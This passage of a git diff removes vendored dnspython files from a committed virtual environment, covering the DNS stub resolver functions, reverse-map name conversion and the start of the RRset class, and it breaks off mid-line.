) -> None: - """Configure EDNS behavior. - - *edns*, an ``int``, is the EDNS level to use. Specifying - ``None``, ``False``, or ``-1`` means "do not use EDNS", and in this case - the other parameters are ignored. Specifying ``True`` is - equivalent to specifying 0, i.e. "use EDNS0". - - *ednsflags*, an ``int``, the EDNS flag values. - - *payload*, an ``int``, is the EDNS sender's payload field, which is the - maximum size of UDP datagram the sender can handle. I.e. how big - a response to this message can be. - - *options*, a list of ``dns.edns.Option`` objects or ``None``, the EDNS - options. - """ - - if edns is None or edns is False: - edns = -1 - elif edns is True: - edns = 0 - self.edns = edns - self.ednsflags = ednsflags - self.payload = payload - self.ednsoptions = options - - def set_flags(self, flags: int) -> None: - """Overrides the default flags with your own. - - *flags*, an ``int``, the message flags to use. - """ - - self.flags = flags - - @classmethod - def _enrich_nameservers( - cls, - nameservers: Sequence[str | dns.nameserver.Nameserver], - nameserver_ports: Dict[str, int], - default_port: int, - ) -> List[dns.nameserver.Nameserver]: - enriched_nameservers = [] - if isinstance(nameservers, list | tuple): - for nameserver in nameservers: - enriched_nameserver: dns.nameserver.Nameserver - if isinstance(nameserver, dns.nameserver.Nameserver): - enriched_nameserver = nameserver - elif dns.inet.is_address(nameserver): - port = nameserver_ports.get(nameserver, default_port) - enriched_nameserver = dns.nameserver.Do53Nameserver( - nameserver, port - ) - else: - try: - if urlparse(nameserver).scheme != "https": - raise NotImplementedError - except Exception: - raise ValueError( - f"nameserver {nameserver} is not a " - "dns.nameserver.Nameserver instance or text form, " - "IP address, nor a valid https URL" - ) - enriched_nameserver = dns.nameserver.DoHNameserver(nameserver) - enriched_nameservers.append(enriched_nameserver) - else: - raise ValueError( - f"nameservers must be a list or tuple (not a {type(nameservers)})" - ) - return enriched_nameservers - - @property - def nameservers( - self, - ) -> Sequence[str | dns.nameserver.Nameserver]: - return self._nameservers - - @nameservers.setter - def nameservers( - self, nameservers: Sequence[str | dns.nameserver.Nameserver] - ) -> None: - """ - *nameservers*, a ``list`` or ``tuple`` of nameservers, where a nameserver is either - a string interpretable as a nameserver, or a ``dns.nameserver.Nameserver`` - instance. - - Raises ``ValueError`` if *nameservers* is not a list of nameservers. - """ - # We just call _enrich_nameservers() for checking - self._enrich_nameservers(nameservers, self.nameserver_ports, self.port) - self._nameservers = nameservers - - -class Resolver(BaseResolver): - """DNS stub resolver.""" - - def resolve( - self, - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - search: bool | None = None, - ) -> Answer: # pylint: disable=arguments-differ - """Query nameservers to find the answer to the question. - - The *qname*, *rdtype*, and *rdclass* parameters may be objects - of the appropriate type, or strings that can be converted into objects - of the appropriate type. - - *qname*, a ``dns.name.Name`` or ``str``, the query name. - - *rdtype*, an ``int`` or ``str``, the query type. - - *rdclass*, an ``int`` or ``str``, the query class. - - *tcp*, a ``bool``. If ``True``, use TCP to make the query. - - *source*, a ``str`` or ``None``. If not ``None``, bind to this IP - address when making queries. - - *raise_on_no_answer*, a ``bool``. If ``True``, raise - ``dns.resolver.NoAnswer`` if there's no answer to the question. - - *source_port*, an ``int``, the port from which to send the message. - - *lifetime*, a ``float``, how many seconds a query should run - before timing out. - - *search*, a ``bool`` or ``None``, determines whether the - search list configured in the system's resolver configuration - are used for relative names, and whether the resolver's domain - may be added to relative names. The default is ``None``, - which causes the value of the resolver's - ``use_search_by_default`` attribute to be used. - - Raises ``dns.resolver.LifetimeTimeout`` if no answers could be found - in the specified lifetime. - - Raises ``dns.resolver.NXDOMAIN`` if the query name does not exist. - - Raises ``dns.resolver.YXDOMAIN`` if the query name is too long after - DNAME substitution. - - Raises ``dns.resolver.NoAnswer`` if *raise_on_no_answer* is - ``True`` and the query name exists but has no RRset of the - desired type and class. - - Raises ``dns.resolver.NoNameservers`` if no non-broken - nameservers are available to answer the question. - - Returns a ``dns.resolver.Answer`` instance. - - """ - - resolution = _Resolution( - self, qname, rdtype, rdclass, tcp, raise_on_no_answer, search - ) - start = time.time() - while True: - (request, answer) = resolution.next_request() - # Note we need to say "if answer is not None" and not just - # "if answer" because answer implements __len__, and python - # will call that. We want to return if we have an answer - # object, including in cases where its length is 0. - if answer is not None: - # cache hit! - return answer - assert request is not None # needed for type checking - done = False - while not done: - (nameserver, tcp, backoff) = resolution.next_nameserver() - if backoff: - time.sleep(backoff) - timeout = self._compute_timeout(start, lifetime, resolution.errors) - try: - response = nameserver.query( - request, - timeout=timeout, - source=source, - source_port=source_port, - max_size=tcp, - ) - except Exception as ex: - (_, done) = resolution.query_result(None, ex) - continue - (answer, done) = resolution.query_result(response, None) - # Note we need to say "if answer is not None" and not just - # "if answer" because answer implements __len__, and python - # will call that. We want to return if we have an answer - # object, including in cases where its length is 0. - if answer is not None: - return answer - - def query( - self, - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - ) -> Answer: # pragma: no cover - """Query nameservers to find the answer to the question. - - This method calls resolve() with ``search=True``, and is - provided for backwards compatibility with prior versions of - dnspython. See the documentation for the resolve() method for - further details. - """ - warnings.warn( - "please use dns.resolver.Resolver.resolve() instead", - DeprecationWarning, - stacklevel=2, - ) - return self.resolve( - qname, - rdtype, - rdclass, - tcp, - source, - raise_on_no_answer, - source_port, - lifetime, - True, - ) - - def resolve_address(self, ipaddr: str, *args: Any, **kwargs: Any) -> Answer: - """Use a resolver to run a reverse query for PTR records. - - This utilizes the resolve() method to perform a PTR lookup on the - specified IP address. - - *ipaddr*, a ``str``, the IPv4 or IPv6 address you want to get - the PTR record for. - - All other arguments that can be passed to the resolve() function - except for rdtype and rdclass are also supported by this - function. - """ - # We make a modified kwargs for type checking happiness, as otherwise - # we get a legit warning about possibly having rdtype and rdclass - # in the kwargs more than once. - modified_kwargs: Dict[str, Any] = {} - modified_kwargs.update(kwargs) - modified_kwargs["rdtype"] = dns.rdatatype.PTR - modified_kwargs["rdclass"] = dns.rdataclass.IN - return self.resolve( - dns.reversename.from_address(ipaddr), *args, **modified_kwargs - ) - - def resolve_name( - self, - name: dns.name.Name | str, - family: int = socket.AF_UNSPEC, - **kwargs: Any, - ) -> HostAnswers: - """Use a resolver to query for address records. - - This utilizes the resolve() method to perform A and/or AAAA lookups on - the specified name. - - *qname*, a ``dns.name.Name`` or ``str``, the name to resolve. - - *family*, an ``int``, the address family. If socket.AF_UNSPEC - (the default), both A and AAAA records will be retrieved. - - All other arguments that can be passed to the resolve() function - except for rdtype and rdclass are also supported by this - function. - """ - # We make a modified kwargs for type checking happiness, as otherwise - # we get a legit warning about possibly having rdtype and rdclass - # in the kwargs more than once. - modified_kwargs: Dict[str, Any] = {} - modified_kwargs.update(kwargs) - modified_kwargs.pop("rdtype", None) - modified_kwargs["rdclass"] = dns.rdataclass.IN - - if family == socket.AF_INET: - v4 = self.resolve(name, dns.rdatatype.A, **modified_kwargs) - return HostAnswers.make(v4=v4) - elif family == socket.AF_INET6: - v6 = self.resolve(name, dns.rdatatype.AAAA, **modified_kwargs) - return HostAnswers.make(v6=v6) - elif family != socket.AF_UNSPEC: # pragma: no cover - raise NotImplementedError(f"unknown address family {family}") - - raise_on_no_answer = modified_kwargs.pop("raise_on_no_answer", True) - lifetime = modified_kwargs.pop("lifetime", None) - start = time.time() - v6 = self.resolve( - name, - dns.rdatatype.AAAA, - raise_on_no_answer=False, - lifetime=self._compute_timeout(start, lifetime), - **modified_kwargs, - ) - # Note that setting name ensures we query the same name - # for A as we did for AAAA. (This is just in case search lists - # are active by default in the resolver configuration and - # we might be talking to a server that says NXDOMAIN when it - # wants to say NOERROR no data. - name = v6.qname - v4 = self.resolve( - name, - dns.rdatatype.A, - raise_on_no_answer=False, - lifetime=self._compute_timeout(start, lifetime), - **modified_kwargs, - ) - answers = HostAnswers.make(v6=v6, v4=v4, add_empty=not raise_on_no_answer) - if not answers: - raise NoAnswer(response=v6.response) - return answers - - # pylint: disable=redefined-outer-name - - def canonical_name(self, name: dns.name.Name | str) -> dns.name.Name: - """Determine the canonical name of *name*. - - The canonical name is the name the resolver uses for queries - after all CNAME and DNAME renamings have been applied. - - *name*, a ``dns.name.Name`` or ``str``, the query name. - - This method can raise any exception that ``resolve()`` can - raise, other than ``dns.resolver.NoAnswer`` and - ``dns.resolver.NXDOMAIN``. - - Returns a ``dns.name.Name``. - """ - try: - answer = self.resolve(name, raise_on_no_answer=False) - canonical_name = answer.canonical_name - except NXDOMAIN as e: - canonical_name = e.canonical_name - return canonical_name - - # pylint: enable=redefined-outer-name - - def try_ddr(self, lifetime: float = 5.0) -> None: - """Try to update the resolver's nameservers using Discovery of Designated - Resolvers (DDR). If successful, the resolver will subsequently use - DNS-over-HTTPS or DNS-over-TLS for future queries. - - *lifetime*, a float, is the maximum time to spend attempting DDR. The default - is 5 seconds. - - If the SVCB query is successful and results in a non-empty list of nameservers, - then the resolver's nameservers are set to the returned servers in priority - order. - - The current implementation does not use any address hints from the SVCB record, - nor does it resolve addresses for the SCVB target name, rather it assumes that - the bootstrap nameserver will always be one of the addresses and uses it. - A future revision to the code may offer fuller support. The code verifies that - the bootstrap nameserver is in the Subject Alternative Name field of the - TLS certficate. - """ - try: - expiration = time.time() + lifetime - answer = self.resolve( - dns._ddr._local_resolver_name, "SVCB", lifetime=lifetime - ) - timeout = dns.query._remaining(expiration) - nameservers = dns._ddr._get_nameservers_sync(answer, timeout) - if len(nameservers) > 0: - self.nameservers = nameservers - except Exception: # pragma: no cover - pass - - -#: The default resolver. -default_resolver: Resolver | None = None - - -def get_default_resolver() -> Resolver: - """Get the default resolver, initializing it if necessary.""" - if default_resolver is None: - reset_default_resolver() - assert default_resolver is not None - return default_resolver - - -def reset_default_resolver() -> None: - """Re-initialize default resolver. - - Note that the resolver configuration (i.e. /etc/resolv.conf on UNIX - systems) will be re-read immediately. - """ - - global default_resolver - default_resolver = Resolver() - - -def resolve( - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - search: bool | None = None, -) -> Answer: # pragma: no cover - """Query nameservers to find the answer to the question. - - This is a convenience function that uses the default resolver - object to make the query. - - See ``dns.resolver.Resolver.resolve`` for more information on the - parameters. - """ - - return get_default_resolver().resolve( - qname, - rdtype, - rdclass, - tcp, - source, - raise_on_no_answer, - source_port, - lifetime, - search, - ) - - -def query( - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, -) -> Answer: # pragma: no cover - """Query nameservers to find the answer to the question. - - This method calls resolve() with ``search=True``, and is - provided for backwards compatibility with prior versions of - dnspython. See the documentation for the resolve() method for - further details. - """ - warnings.warn( - "please use dns.resolver.resolve() instead", DeprecationWarning, stacklevel=2 - ) - return resolve( - qname, - rdtype, - rdclass, - tcp, - source, - raise_on_no_answer, - source_port, - lifetime, - True, - ) - - -def resolve_address(ipaddr: str, *args: Any, **kwargs: Any) -> Answer: - """Use a resolver to run a reverse query for PTR records. - - See ``dns.resolver.Resolver.resolve_address`` for more information on the - parameters. - """ - - return get_default_resolver().resolve_address(ipaddr, *args, **kwargs) - - -def resolve_name( - name: dns.name.Name | str, family: int = socket.AF_UNSPEC, **kwargs: Any -) -> HostAnswers: - """Use a resolver to query for address records. - - See ``dns.resolver.Resolver.resolve_name`` for more information on the - parameters. - """ - - return get_default_resolver().resolve_name(name, family, **kwargs) - - -def canonical_name(name: dns.name.Name | str) -> dns.name.Name: - """Determine the canonical name of *name*. - - See ``dns.resolver.Resolver.canonical_name`` for more information on the - parameters and possible exceptions. - """ - - return get_default_resolver().canonical_name(name) - - -def try_ddr(lifetime: float = 5.0) -> None: # pragma: no cover - """Try to update the default resolver's nameservers using Discovery of Designated - Resolvers (DDR). If successful, the resolver will subsequently use - DNS-over-HTTPS or DNS-over-TLS for future queries. - - See :py:func:`dns.resolver.Resolver.try_ddr` for more information. - """ - return get_default_resolver().try_ddr(lifetime) - - -def zone_for_name( - name: dns.name.Name | str, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - tcp: bool = False, - resolver: Resolver | None = None, - lifetime: float | None = None, -) -> dns.name.Name: # pyright: ignore[reportReturnType] - """Find the name of the zone which contains the specified name. - - *name*, an absolute ``dns.name.Name`` or ``str``, the query name. - - *rdclass*, an ``int``, the query class. - - *tcp*, a ``bool``. If ``True``, use TCP to make the query. - - *resolver*, a ``dns.resolver.Resolver`` or ``None``, the resolver to use. - If ``None``, the default, then the default resolver is used. - - *lifetime*, a ``float``, the total time to allow for the queries needed - to determine the zone. If ``None``, the default, then only the individual - query limits of the resolver apply. - - Raises ``dns.resolver.NoRootSOA`` if there is no SOA RR at the DNS - root. (This is only likely to happen if you're using non-default - root servers in your network and they are misconfigured.) - - Raises ``dns.resolver.LifetimeTimeout`` if the answer could not be - found in the allotted lifetime. - - Returns a ``dns.name.Name``. - """ - - if isinstance(name, str): - name = dns.name.from_text(name, dns.name.root) - if resolver is None: - resolver = get_default_resolver() - if not name.is_absolute(): - raise NotAbsolute(name) - start = time.time() - expiration: float | None - if lifetime is not None: - expiration = start + lifetime - else: - expiration = None - while 1: - try: - rlifetime: float | None - if expiration is not None: - rlifetime = expiration - time.time() - if rlifetime <= 0: - rlifetime = 0 - else: - rlifetime = None - answer = resolver.resolve( - name, dns.rdatatype.SOA, rdclass, tcp, lifetime=rlifetime - ) - assert answer.rrset is not None - if answer.rrset.name == name: - return name - # otherwise we were CNAMEd or DNAMEd and need to look higher - except (NXDOMAIN, NoAnswer) as e: - if isinstance(e, NXDOMAIN): - response = e.responses().get(name) - else: - response = e.response() # pylint: disable=no-value-for-parameter - if response: - for rrs in response.authority: - if rrs.rdtype == dns.rdatatype.SOA and rrs.rdclass == rdclass: - (nr, _, _) = rrs.name.fullcompare(name) - if nr == dns.name.NAMERELN_SUPERDOMAIN: - # We're doing a proper superdomain check as - # if the name were equal we ought to have gotten - # it in the answer section! We are ignoring the - # possibility that the authority is insane and - # is including multiple SOA RRs for different - # authorities. - return rrs.name - # we couldn't extract anything useful from the response (e.g. it's - # a type 3 NXDOMAIN) - try: - name = name.parent() - except dns.name.NoParent: - raise NoRootSOA - - -def make_resolver_at( - where: dns.name.Name | str, - port: int = 53, - family: int = socket.AF_UNSPEC, - resolver: Resolver | None = None, -) -> Resolver: - """Make a stub resolver using the specified destination as the full resolver. - - *where*, a ``dns.name.Name`` or ``str`` the domain name or IP address of the - full resolver. - - *port*, an ``int``, the port to use. If not specified, the default is 53. - - *family*, an ``int``, the address family to use. This parameter is used if - *where* is not an address. The default is ``socket.AF_UNSPEC`` in which case - the first address returned by ``resolve_name()`` will be used, otherwise the - first address of the specified family will be used. - - *resolver*, a ``dns.resolver.Resolver`` or ``None``, the resolver to use for - resolution of hostnames. If not specified, the default resolver will be used. - - Returns a ``dns.resolver.Resolver`` or raises an exception. - """ - if resolver is None: - resolver = get_default_resolver() - nameservers: List[str | dns.nameserver.Nameserver] = [] - if isinstance(where, str) and dns.inet.is_address(where): - nameservers.append(dns.nameserver.Do53Nameserver(where, port)) - else: - for address in resolver.resolve_name(where, family).addresses(): - nameservers.append(dns.nameserver.Do53Nameserver(address, port)) - res = Resolver(configure=False) - res.nameservers = nameservers - return res - - -def resolve_at( - where: dns.name.Name | str, - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.A, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - tcp: bool = False, - source: str | None = None, - raise_on_no_answer: bool = True, - source_port: int = 0, - lifetime: float | None = None, - search: bool | None = None, - port: int = 53, - family: int = socket.AF_UNSPEC, - resolver: Resolver | None = None, -) -> Answer: - """Query nameservers to find the answer to the question. - - This is a convenience function that calls ``dns.resolver.make_resolver_at()`` to - make a resolver, and then uses it to resolve the query. - - See ``dns.resolver.Resolver.resolve`` for more information on the resolution - parameters, and ``dns.resolver.make_resolver_at`` for information about the resolver - parameters *where*, *port*, *family*, and *resolver*. - - If making more than one query, it is more efficient to call - ``dns.resolver.make_resolver_at()`` and then use that resolver for the queries - instead of calling ``resolve_at()`` multiple times. - """ - return make_resolver_at(where, port, family, resolver).resolve( - qname, - rdtype, - rdclass, - tcp, - source, - raise_on_no_answer, - source_port, - lifetime, - search, - ) - - -# -# Support for overriding the system resolver for all python code in the -# running process. -# - -_protocols_for_socktype: Dict[Any, List[Any]] = { - socket.SOCK_DGRAM: [socket.SOL_UDP], - socket.SOCK_STREAM: [socket.SOL_TCP], -} - -_resolver: Resolver | None = None -_original_getaddrinfo = socket.getaddrinfo -_original_getnameinfo = socket.getnameinfo -_original_getfqdn = socket.getfqdn -_original_gethostbyname = socket.gethostbyname -_original_gethostbyname_ex = socket.gethostbyname_ex -_original_gethostbyaddr = socket.gethostbyaddr - - -def _getaddrinfo( - host=None, service=None, family=socket.AF_UNSPEC, socktype=0, proto=0, flags=0 -): - if flags & socket.AI_NUMERICHOST != 0: - # Short circuit directly into the system's getaddrinfo(). We're - # not adding any value in this case, and this avoids infinite loops - # because dns.query.* needs to call getaddrinfo() for IPv6 scoping - # reasons. We will also do this short circuit below if we - # discover that the host is an address literal. - return _original_getaddrinfo(host, service, family, socktype, proto, flags) - if flags & (socket.AI_ADDRCONFIG | socket.AI_V4MAPPED) != 0: - # Not implemented. We raise a gaierror as opposed to a - # NotImplementedError as it helps callers handle errors more - # appropriately. [Issue #316] - # - # We raise EAI_FAIL as opposed to EAI_SYSTEM because there is - # no EAI_SYSTEM on Windows [Issue #416]. We didn't go for - # EAI_BADFLAGS as the flags aren't bad, we just don't - # implement them. - raise socket.gaierror( - socket.EAI_FAIL, "Non-recoverable failure in name resolution" - ) - if host is None and service is None: - raise socket.gaierror(socket.EAI_NONAME, "Name or service not known") - addrs = [] - canonical_name = None # pylint: disable=redefined-outer-name - # Is host None or an address literal? If so, use the system's - # getaddrinfo(). - if host is None: - return _original_getaddrinfo(host, service, family, socktype, proto, flags) - try: - # We don't care about the result of af_for_address(), we're just - # calling it so it raises an exception if host is not an IPv4 or - # IPv6 address. - dns.inet.af_for_address(host) - return _original_getaddrinfo(host, service, family, socktype, proto, flags) - except Exception: - pass - # Something needs resolution! - try: - assert _resolver is not None - answers = _resolver.resolve_name(host, family) - addrs = answers.addresses_and_families() - canonical_name = answers.canonical_name().to_text(True) - except NXDOMAIN: - raise socket.gaierror(socket.EAI_NONAME, "Name or service not known") - except Exception: - # We raise EAI_AGAIN here as the failure may be temporary - # (e.g. a timeout) and EAI_SYSTEM isn't defined on Windows. - # [Issue #416] - raise socket.gaierror(socket.EAI_AGAIN, "Temporary failure in name resolution") - port = None - try: - # Is it a port literal? - if service is None: - port = 0 - else: - port = int(service) - except Exception: - if flags & socket.AI_NUMERICSERV == 0: - try: - port = socket.getservbyname(service) # pyright: ignore - except Exception: - pass - if port is None: - raise socket.gaierror(socket.EAI_NONAME, "Name or service not known") - tuples = [] - if socktype == 0: - socktypes = [socket.SOCK_DGRAM, socket.SOCK_STREAM] - else: - socktypes = [socktype] - if flags & socket.AI_CANONNAME != 0: - cname = canonical_name - else: - cname = "" - for addr, af in addrs: - for socktype in socktypes: - for sockproto in _protocols_for_socktype[socktype]: - proto = int(sockproto) - addr_tuple = dns.inet.low_level_address_tuple((addr, port), af) - tuples.append((af, socktype, proto, cname, addr_tuple)) - if len(tuples) == 0: - raise socket.gaierror(socket.EAI_NONAME, "Name or service not known") - return tuples - - -def _getnameinfo(sockaddr, flags=0): - host = sockaddr[0] - port = sockaddr[1] - if len(sockaddr) == 4: - scope = sockaddr[3] - family = socket.AF_INET6 - else: - scope = None - family = socket.AF_INET - tuples = _getaddrinfo(host, port, family, socket.SOCK_STREAM, socket.SOL_TCP, 0) - if len(tuples) > 1: - raise OSError("sockaddr resolved to multiple addresses") - addr = tuples[0][4][0] - if flags & socket.NI_DGRAM: - pname = "udp" - else: - pname = "tcp" - assert isinstance(addr, str) - qname = dns.reversename.from_address(addr) - if flags & socket.NI_NUMERICHOST == 0: - try: - assert _resolver is not None - answer = _resolver.resolve(qname, "PTR") - assert answer.rrset is not None - rdata = cast(dns.rdtypes.ANY.PTR.PTR, answer.rrset[0]) - hostname = rdata.target.to_text(True) - except (NXDOMAIN, NoAnswer): - if flags & socket.NI_NAMEREQD: - raise socket.gaierror(socket.EAI_NONAME, "Name or service not known") - hostname = addr - if scope is not None: - hostname += "%" + str(scope) - else: - hostname = addr - if scope is not None: - hostname += "%" + str(scope) - if flags & socket.NI_NUMERICSERV: - service = str(port) - else: - service = socket.getservbyport(port, pname) - return (hostname, service) - - -def _getfqdn(name=None): - if name is None: - name = socket.gethostname() - try: - (name, _, _) = _gethostbyaddr(name) - # Python's version checks aliases too, but our gethostbyname - # ignores them, so we do so here as well. - except Exception: # pragma: no cover - pass - return name - - -def _gethostbyname(name): - return _gethostbyname_ex(name)[2][0] - - -def _gethostbyname_ex(name): - aliases = [] - addresses = [] - tuples = _getaddrinfo( - name, 0, socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP, socket.AI_CANONNAME - ) - canonical = tuples[0][3] - for item in tuples: - addresses.append(item[4][0]) - # XXX we just ignore aliases - return (canonical, aliases, addresses) - - -def _gethostbyaddr(ip): - try: - dns.ipv6.inet_aton(ip) - sockaddr = (ip, 80, 0, 0) - family = socket.AF_INET6 - except Exception: - try: - dns.ipv4.inet_aton(ip) - except Exception: - raise socket.gaierror(socket.EAI_NONAME, "Name or service not known") - sockaddr = (ip, 80) - family = socket.AF_INET - (name, _) = _getnameinfo(sockaddr, socket.NI_NAMEREQD) - aliases = [] - addresses = [] - tuples = _getaddrinfo( - name, 0, family, socket.SOCK_STREAM, socket.SOL_TCP, socket.AI_CANONNAME - ) - canonical = tuples[0][3] - # We only want to include an address from the tuples if it's the - # same as the one we asked about. We do this comparison in binary - # to avoid any differences in text representations. - bin_ip = dns.inet.inet_pton(family, ip) - for item in tuples: - addr = item[4][0] - assert isinstance(addr, str) - bin_addr = dns.inet.inet_pton(family, addr) - if bin_ip == bin_addr: - addresses.append(addr) - # XXX we just ignore aliases - return (canonical, aliases, addresses) - - -def override_system_resolver(resolver: Resolver | None = None) -> None: - """Override the system resolver routines in the socket module with - versions which use dnspython's resolver. - - This can be useful in testing situations where you want to control - the resolution behavior of python code without having to change - the system's resolver settings (e.g. /etc/resolv.conf). - - The resolver to use may be specified; if it's not, the default - resolver will be used. - - resolver, a ``dns.resolver.Resolver`` or ``None``, the resolver to use. - """ - - if resolver is None: - resolver = get_default_resolver() - global _resolver - _resolver = resolver - socket.getaddrinfo = _getaddrinfo - socket.getnameinfo = _getnameinfo - socket.getfqdn = _getfqdn - socket.gethostbyname = _gethostbyname - socket.gethostbyname_ex = _gethostbyname_ex - socket.gethostbyaddr = _gethostbyaddr - - -def restore_system_resolver() -> None: - """Undo the effects of prior override_system_resolver().""" - - global _resolver - _resolver = None - socket.getaddrinfo = _original_getaddrinfo - socket.getnameinfo = _original_getnameinfo - socket.getfqdn = _original_getfqdn - socket.gethostbyname = _original_gethostbyname - socket.gethostbyname_ex = _original_gethostbyname_ex - socket.gethostbyaddr = _original_gethostbyaddr diff --git a/venv/Lib/site-packages/dns/reversename.py b/venv/Lib/site-packages/dns/reversename.py deleted file mode 100644 index 60a4e839a08f053fdb194f31dcd1e953c473ed58..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/reversename.py +++ /dev/null @@ -1,106 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Reverse Map Names.""" - -import binascii - -import dns.exception -import dns.ipv4 -import dns.ipv6 -import dns.name - -ipv4_reverse_domain = dns.name.from_text("in-addr.arpa.") -ipv6_reverse_domain = dns.name.from_text("ip6.arpa.") - - -def from_address( - text: str, - v4_origin: dns.name.Name = ipv4_reverse_domain, - v6_origin: dns.name.Name = ipv6_reverse_domain, -) -> dns.name.Name: - """Convert an IPv4 or IPv6 address in textual form into a Name object whose - value is the reverse-map domain name of the address. - - *text*, a ``str``, is an IPv4 or IPv6 address in textual form - (e.g. '127.0.0.1', '::1') - - *v4_origin*, a ``dns.name.Name`` to append to the labels corresponding to - the address if the address is an IPv4 address, instead of the default - (in-addr.arpa.) - - *v6_origin*, a ``dns.name.Name`` to append to the labels corresponding to - the address if the address is an IPv6 address, instead of the default - (ip6.arpa.) - - Raises ``dns.exception.SyntaxError`` if the address is badly formed. - - Returns a ``dns.name.Name``. - """ - - try: - v6 = dns.ipv6.inet_aton(text) - if dns.ipv6.is_mapped(v6): - parts = [str(byte) for byte in v6[12:]] - origin = v4_origin - else: - parts = [x for x in str(binascii.hexlify(v6).decode())] - origin = v6_origin - except Exception: - parts = [str(byte) for byte in dns.ipv4.inet_aton(text)] - origin = v4_origin - return dns.name.from_text(".".join(reversed(parts)), origin=origin) - - -def to_address( - name: dns.name.Name, - v4_origin: dns.name.Name = ipv4_reverse_domain, - v6_origin: dns.name.Name = ipv6_reverse_domain, -) -> str: - """Convert a reverse map domain name into textual address form. - - *name*, a ``dns.name.Name``, an IPv4 or IPv6 address in reverse-map name - form. - - *v4_origin*, a ``dns.name.Name`` representing the top-level domain for - IPv4 addresses, instead of the default (in-addr.arpa.) - - *v6_origin*, a ``dns.name.Name`` representing the top-level domain for - IPv4 addresses, instead of the default (ip6.arpa.) - - Raises ``dns.exception.SyntaxError`` if the name does not have a - reverse-map form. - - Returns a ``str``. - """ - - if name.is_subdomain(v4_origin): - name = name.relativize(v4_origin) - text = b".".join(reversed(name.labels)) - # run through inet_ntoa() to check syntax and make pretty. - return dns.ipv4.inet_ntoa(dns.ipv4.inet_aton(text)) - elif name.is_subdomain(v6_origin): - name = name.relativize(v6_origin) - labels = list(reversed(name.labels)) - parts = [] - for i in range(0, len(labels), 4): - parts.append(b"".join(labels[i : i + 4])) - text = b":".join(parts) - # run through inet_ntoa() to check syntax and make pretty. - return dns.ipv6.inet_ntoa(dns.ipv6.inet_aton(text)) - else: - raise dns.exception.SyntaxError("unknown reverse-map address family") diff --git a/venv/Lib/site-packages/dns/rrset.py b/venv/Lib/site-packages/dns/rrset.py deleted file mode 100644 index 271ddbe860a343a8e173981ca0ec188373f53bf4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rrset.py +++ /dev/null @@ -1,287 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS RRsets (an RRset is a named rdataset)""" - -from typing import Any, Collection, Dict, cast - -import dns.name -import dns.rdata -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.renderer - - -class RRset(dns.rdataset.Rdataset): - """A DNS RRset (named rdataset). - - RRset inherits from Rdataset, and RRsets can be treated as - Rdatasets in most cases. There are, however, a few notable - exceptions. RRsets have different to_wire() and to_text() method - arguments, reflecting the fact that RRsets always have an owner - name. - """ - - __slots__ = ["name", "deleting"] - - def __init__( - self, - name: dns.name.Name, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - deleting: dns.rdataclass.RdataClass | None = None, - ): - """Create a new RRset.""" - - super().__init__(rdclass, rdtype, covers) - self.name = name - self.deleting = deleting - - def _clone(self): - obj = cast(RRset, super()._clone()) - obj.name = self.name - obj.deleting = self.deleting - return obj - - def __repr__(self): - if self.covers == 0: - ctext = "" - else: - ctext = "(" + 